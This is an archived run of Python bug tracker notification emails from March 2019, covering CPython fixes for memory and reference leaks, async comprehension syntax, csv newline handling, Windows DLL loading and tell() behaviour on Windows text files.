In-Reply-To: <1317700059.13.0.375039668353.issue13096@psf.upfronthosting.co.za>
Message-ID: <1551714028.83.0.151198072416.issue13096@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 710dcfd2f4bee034894a39026388f9c21ea976f1 by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-13096: Fix memory leak in ctypes POINTER handling of large values (GH-12100)
https://github.com/python/cpython/commit/710dcfd2f4bee034894a39026388f9c21ea976f1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13096>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:40:50 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Mon, 04 Mar 2019 15:40:50 +0000
Subject: [issue36186] [2.7] Coverity scan: Modules/linuxaudiodev.c ,
 fd handle is not closed.
In-Reply-To: <1551713826.41.0.114140422671.issue36186@roundup.psfhosted.org>
Message-ID: <1551714050.58.0.387762305749.issue36186@roundup.psfhosted.org>


Change by Charalampos Stratakis <cstratak at redhat.com>:


----------
keywords: +patch
pull_requests: +12161
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36186>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:45:45 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 15:45:45 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551714345.25.0.11643979556.issue36179@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b7bc283ab6a23ee98784400ebffe7fe410232a2e by Miss Islington (bot) (Christian Heimes) in branch 'master':
bpo-36179: Fix ref leaks in _hashopenssl (GH-12158)
https://github.com/python/cpython/commit/b7bc283ab6a23ee98784400ebffe7fe410232a2e


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:45:54 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 15:45:54 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551714354.94.0.811599642464.issue36179@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12162

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:47:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 15:47:45 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551714465.48.0.576584450847.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Same errors on AMD64 FreeBSD CURRENT Shared 3.7:
https://buildbot.python.org/all/#/builders/173/builds/333

----------
title: test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.x -> test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and 3.x

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:49:05 2019
From: report at bugs.python.org (Joshua Bronson)
Date: Mon, 04 Mar 2019 15:49:05 +0000
Subject: [issue31861] add aiter() and anext() functions to operator module
In-Reply-To: <1508851575.6.0.213398074469.issue31861@psf.upfronthosting.co.za>
Message-ID: <1551714545.8.0.614961108709.issue31861@roundup.psfhosted.org>


Joshua Bronson <jabronson at gmail.com> added the comment:

If the deciders prefer to have these in the operator module for 3.8 (as Yury and Jelle requested above), my PR from a few months ago which implements this (https://github.com/python/cpython/pull/8895) can still be merged with no conflicts. I don't think any other changes to that patch are requested before it can be merged (i.e. it's only stalled on the decision whether to add these to builtins or operator), but I can still make time to address any new requested code changes if these are to go in operator.

If these are to go in builtins instead, @nanjekyejoannah has volunteered to pick that up. So it seems like this can move forward one way or the other once we have a decision on operator vs. builtins.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31861>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:58:17 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 04 Mar 2019 15:58:17 +0000
Subject: [issue31861] add aiter() and anext() functions to operator module
In-Reply-To: <1508851575.6.0.213398074469.issue31861@psf.upfronthosting.co.za>
Message-ID: <1551715097.44.0.755699783306.issue31861@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
nosy:  -giampaolo.rodola

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31861>
_______________________________________

From report at bugs.python.org  Mon Mar  4 10:58:48 2019
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 04 Mar 2019 15:58:48 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551715128.19.0.69058318239.issue36179@roundup.psfhosted.org>


Change by Christian Heimes <lists at cheimes.de>:


----------
pull_requests: +12163

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:01:37 2019
From: report at bugs.python.org (Christian Heimes)
Date: Mon, 04 Mar 2019 16:01:37 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551715297.34.0.312369921329.issue36179@roundup.psfhosted.org>


Change by Christian Heimes <lists at cheimes.de>:


----------
pull_requests: +12164

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:10:00 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 16:10:00 +0000
Subject: [issue36187] Get rid of NamedStore
Message-ID: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

The proposed PR refactors the code for assignment expression and removes the NamedStore value of the expr_context_ty enum added in issue35224. This value is undistinguished from Store except two places in Python/ast.c and Python/symtable.c, but in that cases the difference can be handled at one level upper (when process the NamedExpr expression).

As a side effect this PR fixes the following minor bug:

>>> (True := 1)
  File "<stdin>", line 1
SyntaxError: cannot delete True

----------
components: Interpreter Core
messages: 337136
nosy: emilyemorehouse, gvanrossum, serhiy.storchaka, tim.peters
priority: normal
severity: normal
status: open
title: Get rid of NamedStore
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:13:48 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 16:13:48 +0000
Subject: [issue36187] Get rid of NamedStore
In-Reply-To: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>
Message-ID: <1551716028.5.0.0327579457339.issue36187@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12165
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:17:33 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 16:17:33 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551716253.56.0.12614983337.issue36179@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset a59d33a1b08bd3dc9dc2584d4360ca81b0f1ad49 by Miss Islington (bot) in branch '3.7':
bpo-36179: Fix ref leaks in _hashopenssl (GH-12158)
https://github.com/python/cpython/commit/a59d33a1b08bd3dc9dc2584d4360ca81b0f1ad49


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:45:57 2019
From: report at bugs.python.org (Martin)
Date: Mon, 04 Mar 2019 16:45:57 +0000
Subject: [issue29167] Race condition in enum.py:_decompose()
In-Reply-To: <1483613666.47.0.301459916652.issue29167@psf.upfronthosting.co.za>
Message-ID: <1551717957.76.0.764795077167.issue29167@roundup.psfhosted.org>


Martin <gzlist at googlemail.com> added the comment:

Our production system hit this issue using Python 3.6.7 once a few days ago, so presumably the race is still possible with the applied patch, just less likely?

```
RuntimeError: dictionary changed size during iteration
at _decompose (/usr/lib/python3.6/enum.py:858)
at _create_pseudo_member_ (/usr/lib/python3.6/enum.py:773)
at _missing_ (/usr/lib/python3.6/enum.py:764)
at __new__ (/usr/lib/python3.6/enum.py:535)
at __call__ (/usr/lib/python3.6/enum.py:293)
at __or__ (/usr/lib/python3.6/enum.py:800)
at create_urllib3_context (/usr/local/lib/python3.6/dist-packages/urllib3/util/ssl_.py:279)
at connect (/usr/local/lib/python3.6/dist-packages/urllib3/connection.py:332)
at _validate_conn (/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:839)
at _make_request (/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:343)
at urlopen (/usr/local/lib/python3.6/dist-packages/urllib3/connectionpool.py:600)
at send (/usr/local/lib/python3.6/dist-packages/requests/adapters.py:449)
at send (/usr/local/lib/python3.6/dist-packages/requests/sessions.py:646)
at request (/usr/local/lib/python3.6/dist-packages/requests/sessions.py:533)
at __call__ (/usr/local/lib/python3.6/dist-packages/google/auth/transport/requests.py:120)
at _token_endpoint_request (/usr/local/lib/python3.6/dist-packages/google/oauth2/_client.py:106)
at jwt_grant (/usr/local/lib/python3.6/dist-packages/google/oauth2/_client.py:145)
at refresh (/usr/local/lib/python3.6/dist-packages/google/oauth2/service_account.py:322)
at before_request (/usr/local/lib/python3.6/dist-packages/google/auth/credentials.py:122)
at request (/usr/local/lib/python3.6/dist-packages/google/auth/transport/requests.py:198)
at wait_and_retry (/usr/local/lib/python3.6/dist-packages/google/resumable_media/_helpers.py:146)
at http_request (/usr/local/lib/python3.6/dist-packages/google/resumable_media/requests/_helpers.py:101)
at consume (/usr/local/lib/python3.6/dist-packages/google/resumable_media/requests/download.py:169)
at _do_download (/usr/local/lib/python3.6/dist-packages/google/cloud/storage/blob.py:498)
at download_to_file (/usr/local/lib/python3.6/dist-packages/google/cloud/storage/blob.py:560)
```

----------
nosy: +gz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29167>
_______________________________________

From report at bugs.python.org  Mon Mar  4 11:53:56 2019
From: report at bugs.python.org (Steve Dower)
Date: Mon, 04 Mar 2019 16:53:56 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1551718436.15.0.697456569248.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Adding ?ukasz for his RM opinion on Win7 support for 3.8.

According to PEP 11, we've already dropped support for Win7 without Service Pack 1. Win7 SP1 would be dropped ~2-3 months after 3.8 releases, which means we still have to support it for all of 3.8.

My concern is the KB2533623 I mentioned in the original post, which adds the ability to control the search path properly. I *think* it might be already included in Win7 SP1, in which case we're fine (I'm confirming this with some colleagues), but if it's optional on top of SP1 then I want to make it required for Python.

Alternatively, I'm totally happy to make a three month exception to PEP 11 and just drop Win7 completely for 3.8. But I think that needs to be made official as early as possible, and should get python-dev exposure.

?ukasz - thoughts?

(Yes, I incorrectly typed the KB number at the top. Apparently I regularly fail to type numbers into bpo for some reason... doesn't happen elsewhere?)

----------
nosy: +lukasz.langa

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Mon Mar  4 12:10:51 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 04 Mar 2019 17:10:51 +0000
Subject: [issue36179] _hashopenssl has reference leaks in OOM case
In-Reply-To: <1551692470.57.0.884323239932.issue36179@roundup.psfhosted.org>
Message-ID: <1551719451.41.0.2455894808.issue36179@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 84b5ac9ba6fd71ba9d0ef98e2a166a35189b263f by Miss Islington (bot) (Christian Heimes) in branch '2.7':
[2.7] bpo-36179: Fix ref leaks in _hashopenssl (GH-12158) (GH-12166)
https://github.com/python/cpython/commit/84b5ac9ba6fd71ba9d0ef98e2a166a35189b263f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36179>
_______________________________________

From report at bugs.python.org  Mon Mar  4 12:18:12 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Mon, 04 Mar 2019 17:18:12 +0000
Subject: [issue29205] col_offset for AsyncFunctionDef AST nodes is wrong
In-Reply-To: <1483874960.49.0.58571949289.issue29205@psf.upfronthosting.co.za>
Message-ID: <1551719892.11.0.370567815341.issue29205@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue29205>
_______________________________________

From report at bugs.python.org  Mon Mar  4 12:28:53 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 04 Mar 2019 17:28:53 +0000
Subject: [issue36158] Regex search behaves differently in list comprehension
In-Reply-To: <1551460917.2.0.142475833674.issue36158@roundup.psfhosted.org>
Message-ID: <1551720533.74.0.660792278575.issue36158@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Sounds like at least one such entity's trigger attribute doesn't match the regex. In the spelled out loop, you'd still get the exception on a failed match, but you'd store the results for however many entities matched before then (so catching the exception and continuing on would work). List comprehensions are all or nothing; if an exception is raised before it finishes, the list in progress is thrown away.

While wasteful, this should work just fine:

    named_entities = [name_regex.match(entity.trigger).group(1) for entity in entities[0] if name_regex.match(entity.trigger)]

or in 3.8 with assignment expression to avoid repetitive work:

    named_entities = [match.group(1) for entity in entities[0] if match := name_regex.match(entity.trigger)]

The former is wasteful, but works in any Python version; the latter is directly equivalent to:

    named_entities = []
    for entity in entities[0]:
        match = name_regex.match(entity.trigger)
        if match:
            named_entities.append(match.group(1))

The ultimate problem is your regex isn't always matching; list comprehensions just change whether or no you store the partial results.

----------
nosy: +josh.r
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36158>
_______________________________________

From report at bugs.python.org  Mon Mar  4 12:31:50 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 04 Mar 2019 17:31:50 +0000
Subject: [issue36187] Get rid of NamedStore
In-Reply-To: <1551715800.47.0.126475770196.issue36187@roundup.psfhosted.org>
Message-ID: <1551720710.91.0.9284068966.issue36187@roundup.psfhosted.org>


Change by Josh Rosenberg <shadowranger+python at gmail.com>:


----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36187>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:05:02 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 18:05:02 +0000
Subject: [issue36188] Remove vestiges of Python 2 unbound methods from Python 3
Message-ID: <1551722702.8.0.594568497768.issue36188@roundup.psfhosted.org>


New submission from Martijn Pieters <mj at python.org>:

The implementation of method_hash, method_call and method_descr_get all still contain assumptions that __self__ can be set to None, a holdover from Python 2 where methods could be *unbound*.

These vestiges can safely be removed, because method_new() and PyMethod_New() both ensure that self is always non-null.

In addition, the datamodel description of methods includes this section:

      When a user-defined method object is created by retrieving another method
      object from a class or instance, the behaviour is the same as for a
      function object, except that the :attr:`__func__` attribute of the new
      instance is not the original method object but its :attr:`__func__`
      attribute.

which also only applies to Python 2 unbound methods. Python 3 bound methods never change what they are bound to, let alone produce a new method object from __get__ that has to be careful about what __func__ is set to.

I'm submitting a PR that removes these vestiges, no need to maintain code that never runs.

----------
components: Interpreter Core
messages: 337142
nosy: mjpieters
priority: normal
severity: normal
status: open
title: Remove vestiges of Python 2 unbound methods from Python 3
versions: Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36188>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:06:21 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 18:06:21 +0000
Subject: [issue12169] Factor out common code for d2 commands register,
 upload and upload_docs
In-Reply-To: <1306255725.22.0.23750798807.issue12169@psf.upfronthosting.co.za>
Message-ID: <1551722781.34.0.612020332869.issue12169@roundup.psfhosted.org>


Change by Martijn Pieters <mj at python.org>:


----------
pull_requests: +12166

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12169>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:09:13 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 18:09:13 +0000
Subject: [issue36188] Remove vestiges of Python 2 unbound methods from Python 3
In-Reply-To: <1551722702.8.0.594568497768.issue36188@roundup.psfhosted.org>
Message-ID: <1551722953.78.0.845482985167.issue36188@roundup.psfhosted.org>


Change by Martijn Pieters <mj at python.org>:


----------
keywords: +patch
pull_requests: +12167
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36188>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:38:46 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 04 Mar 2019 18:38:46 +0000
Subject: [issue36172] csv module internal consistency
In-Reply-To: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>
Message-ID: <1551724726.41.0.951100146642.issue36172@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Unless someone disagrees soon, I'm going to close this as documented behavior/not a bug. AFAICT, the only "fixes" available for this are:

1. Changing the default dialect from 'excel' to something else. Problem: Breaks correct code dependent on the excel dialect, but code could explicitly opt back in.

2. Change the 'excel' dialect. Problem: Breaks correct code dependent on the excel dialect, with no obvious way to opt back in.

3. Per #10954, check the file object to ensure it's not translating newlines and raise an exception otherwise. Problem: AFAICT, there is no documented API to check this (the result of calling open, with or without passing newline='', looks identical initially, never changes in write mode, and even in read mode, only exposes the newlines observed through the .newlines attribute, not whether or not they were translated), adding one wouldn't change all other file-like objects, so the change would need to propagate to all other built-in and third-party file APIs, and for some file-like objects, it wouldn't make sense to have this API at all (io.StringIO, being purely in memory, doesn't need to do translation of any kind)

4. (Extreme solution) Add io APIs (or add arguments to APIs) for reading/writing without newline translation (that is, whether or not newline is passed to open, you can read/write without translation), e.g. read(size) becomes read(size, translate_newlines=None) where None indicates default behavior, or we add read_untranslated(size) as an independent API. Problem: Like #3, this requires us to create new, mandatory APIs in the io module that would then need to propagate to all other built-in and third-party file APIs.

Point is, the simple solutions (1/2) break correct code, and the complex solutions (3/4) involve major changes to the io module (and all other file-like object producers) and/or the csv module.

Even then, nothing shy of #4 would make broken code just work, they just fail loudly. Both #3 and #4 would require cascading changes to every file-like object (both built-in and third-party) to make them work; for the file-like objects that aren't updated, we're stuck choosing between issuing a warning that most folks won't see, then ignoring the problem, or making those file-like objects without the necessary API cause true exceptions (making them unusable until the third party package is updated).

If a fix is needed, I think my suggestion would be to do one or both of:

1. Emphasize the newline='' warning in the csv.reader/writer/DictReader/DictWriter docs (right now it's just one more unemphasized line in a fairly long wall of text for each)

2. Put a large, top-of-module warning about this at the top of the csv module docs, so people reading the basic module description are exposed to the warning before they even reach the API.

Might help a few folks who are skimming without reading for detail.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:52:12 2019
From: report at bugs.python.org (Thomas Wouters)
Date: Mon, 04 Mar 2019 18:52:12 +0000
Subject: [issue36149] use of uninitialised memory in cPickle.
In-Reply-To: <1551379518.13.0.26926379608.issue36149@roundup.psfhosted.org>
Message-ID: <1551725532.0.0.222766105101.issue36149@roundup.psfhosted.org>


Thomas Wouters <thomas at python.org> added the comment:


New changeset d9bf7f4198871132714cfe7d702baaa02206e9f1 by T. Wouters in branch '2.7':
[2.7] bpo-36149 Fix potential use of uninitialized memory in cPickle (#12105)
https://github.com/python/cpython/commit/d9bf7f4198871132714cfe7d702baaa02206e9f1


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36149>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:53:06 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 04 Mar 2019 18:53:06 +0000
Subject: [issue36189] DOC: Correct word in tutorial introduction
Message-ID: <1551725586.73.0.662699652702.issue36189@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

In the tutorial introduction, under section 3.1.3 for Lists, 'sequence type' should be 'sequence types'.

> Like strings (and all other built-in sequence ---> type <---)

Assigning to @Mariatta for the sprints.

----------
assignee: Mariatta
components: Documentation
messages: 337145
nosy: Mariatta, cheryl.sabella
priority: normal
severity: normal
stage: needs patch
status: open
title: DOC: Correct word in tutorial introduction
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36189>
_______________________________________

From report at bugs.python.org  Mon Mar  4 13:54:45 2019
From: report at bugs.python.org (Thomas Wouters)
Date: Mon, 04 Mar 2019 18:54:45 +0000
Subject: [issue36149] use of uninitialised memory in cPickle.
In-Reply-To: <1551379518.13.0.26926379608.issue36149@roundup.psfhosted.org>
Message-ID: <1551725685.2.0.549377584668.issue36149@roundup.psfhosted.org>


Change by Thomas Wouters <thomas at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36149>
_______________________________________

From report at bugs.python.org  Mon Mar  4 14:15:19 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 19:15:19 +0000
Subject: [issue12169] Factor out common code for d2 commands register,
 upload and upload_docs
In-Reply-To: <1306255725.22.0.23750798807.issue12169@psf.upfronthosting.co.za>
Message-ID: <1551726919.86.0.966525914651.issue12169@roundup.psfhosted.org>


Change by Martijn Pieters <mj at python.org>:


----------
pull_requests:  -12166

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12169>
_______________________________________

From report at bugs.python.org  Mon Mar  4 14:15:44 2019
From: report at bugs.python.org (Martijn Pieters)
Date: Mon, 04 Mar 2019 19:15:44 +0000
Subject: [issue12169] Factor out common code for d2 commands register,
 upload and upload_docs
In-Reply-To: <1306255725.22.0.23750798807.issue12169@psf.upfronthosting.co.za>
Message-ID: <1551726944.36.0.791063049305.issue12169@roundup.psfhosted.org>


Change by Martijn Pieters <mj at python.org>:


----------
pull_requests: +12168

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue12169>
_______________________________________

From report at bugs.python.org  Mon Mar  4 15:17:13 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 04 Mar 2019 20:17:13 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551730633.9.0.385115790881.issue33346@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

Hm, I think that if Yury still thinks this is a good idea you two should just do this. No need to write a PEP or wait for the Steering Committee. Unless there's a downside? Does it break real existing code?

----------
nosy: +gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Mon Mar  4 15:18:11 2019
From: report at bugs.python.org (Open Close)
Date: Mon, 04 Mar 2019 20:18:11 +0000
Subject: [issue35998] test_asyncio: test_start_tls_server_1() TimeoutError on
 Fedora 29
In-Reply-To: <1550225538.04.0.738886867119.issue35998@roundup.psfhosted.org>
Message-ID: <1551730691.02.0.0434937693967.issue35998@roundup.psfhosted.org>


Open Close <openandclose23 at gmail.com> added the comment:

uploading stderr-op368.txt.
(basically the same as St?phane and Karthikeyan.)

----------
Added file: https://bugs.python.org/file48185/stderr-op368.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35998>
_______________________________________

From report at bugs.python.org  Mon Mar  4 15:45:24 2019
From: report at bugs.python.org (Erik Wennstrom)
Date: Mon, 04 Mar 2019 20:45:24 +0000
Subject: [issue36190] file object method .tell() sometimes returns large
 number when position is right before a line break
Message-ID: <1551732324.77.0.648452140081.issue36190@roundup.psfhosted.org>


New submission from Erik Wennstrom <ewennstr at indiana.edu>:

Sometimes, when the position on a text file object is right before a line break, the file object method .tell() returns a bizarre large number (18446744073709551621) instead of the correct position.

The incorrect behavior occurs consistently for certain text files, but sometimes, a slight modification of the file will cause the behavior to revert to normal.

I can get this behavior in both Python 3.7.2 and 3.6.5. I've seen it on two different Windows X machines.

I've included two sample text files and a program that tests them both with the same code, which opens the file, reads 4 characters from the file, and then prints the result of the .tell() method. Both should print 4, but one of them prints 18446744073709551621. The only difference between the text files is that one of them has a single extra character before the last line break (which I should note is several lines away from the line where the weird behavior occurs).

Frankly, I don't even have a sliver of an inkling of a notion as to how this error might happen. I encountered it in the middle of teaching an intro programming lecture where I was showing them how file object positions work with .read(). Brought the entire class to a screeching halt.

----------
components: Windows
files: telltest.zip
messages: 337148
nosy: erwenn, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: file object method .tell() sometimes returns large number when position is right before a line break
type: behavior
versions: Python 3.6, Python 3.7
Added file: https://bugs.python.org/file48186/telltest.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36190>
_______________________________________

From report at bugs.python.org  Mon Mar  4 16:00:54 2019
From: report at bugs.python.org (=?utf-8?q?Manuel_Cer=C3=B3n?=)
Date: Mon, 04 Mar 2019 21:00:54 +0000
Subject: [issue21879] str.format() gives poor diagnostic on placeholder
 mismatch
In-Reply-To: <1404052648.46.0.81950938275.issue21879@psf.upfronthosting.co.za>
Message-ID: <1551733254.63.0.606788549039.issue21879@roundup.psfhosted.org>


Change by Manuel Cer?n <ceronman at gmail.com>:


----------
nosy:  -ceronman

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21879>
_______________________________________

From report at bugs.python.org  Mon Mar  4 16:06:27 2019
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 04 Mar 2019 21:06:27 +0000
Subject: [issue36190] file object method .tell() sometimes returns large
 number when position is right before a line break
In-Reply-To: <1551732324.77.0.648452140081.issue36190@roundup.psfhosted.org>
Message-ID: <1551733587.26.0.662635676198.issue36190@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

Your attached file doesn't seem to be a valid zip file.

Also, note that the result of `tell` on a file opened in text mode is documented [1] as being an opaque integer; there is no guarantee that the result of `tell` has any relation to the number of characters read from the file.  `tell` on a binary file does return the exact position of the cursor in the file, though.

[1] https://docs.python.org/3/library/io.html#io.TextIOBase.tell

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36190>
_______________________________________

From report at bugs.python.org  Mon Mar  4 16:16:45 2019
From: report at bugs.python.org (Nathaniel Smith)
Date: Mon, 04 Mar 2019 21:16:45 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551734205.63.0.122132244562.issue33346@roundup.psfhosted.org>


Nathaniel Smith <njs at pobox.com> added the comment:

There are some tricky subtleties here around the distinction between list/dict/set comprehensions and generator expressions.

For list/dict/set comprehensions, they're evaluated eagerly, so an async comprehension can only occur in async context. For generator expressions, they're evaluated lazily, so you can write an async generator expression inside a non-async context. *Consuming* the async generator will require an async context, but all the expression itself does is instantiate an object, and that's synchronous.

(Like Guido, I'm not 100% sure that it's useful to support async generator expressions inside sync contexts, but we've already shipped it, so I'll assume we're going to keep it.)

So, I would expect the rule to be, precisely: if an async list/dict/set comprehension occurs inside either a list/dict/set comprehension or a generator expression, that should force the enclosing expression to become async.

So this is a synchronous comprehension, even though it has an async generator expression in it, and must occur inside an 'async def':

[(i async for i in range(j)) for j in range(n)]

And this is an async generator expression, which can legally be placed inside a regular 'def' (but can only be consumed inside an 'async def'):

([i async for i in range(j)] for j in range(n))

This might be what Yury/Serhiy/etc. already had in mind, but it's complicated enough that it seemed like it's worth spelling out in detail...

----------
nosy: +njs

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Mon Mar  4 16:27:52 2019
From: report at bugs.python.org (Tim Peters)
Date: Mon, 04 Mar 2019 21:27:52 +0000
Subject: [issue36190] file object method .tell() sometimes returns large
 number when position is right before a line break
In-Reply-To: <1551732324.77.0.648452140081.issue36190@roundup.psfhosted.org>
Message-ID: <1551734872.56.0.445893269316.issue36190@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

Stuff like that happens in any language supporting a tell() function for a file opened in text mode on Windows, inherited from the platform C's ftell() implementation:

https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/ftell-ftelli64?view=vs-2017

"""
The value returned by ftell and _ftelli64 may not reflect the physical byte offset for streams opened in text mode, because text mode causes carriage return-linefeed translation.
"""

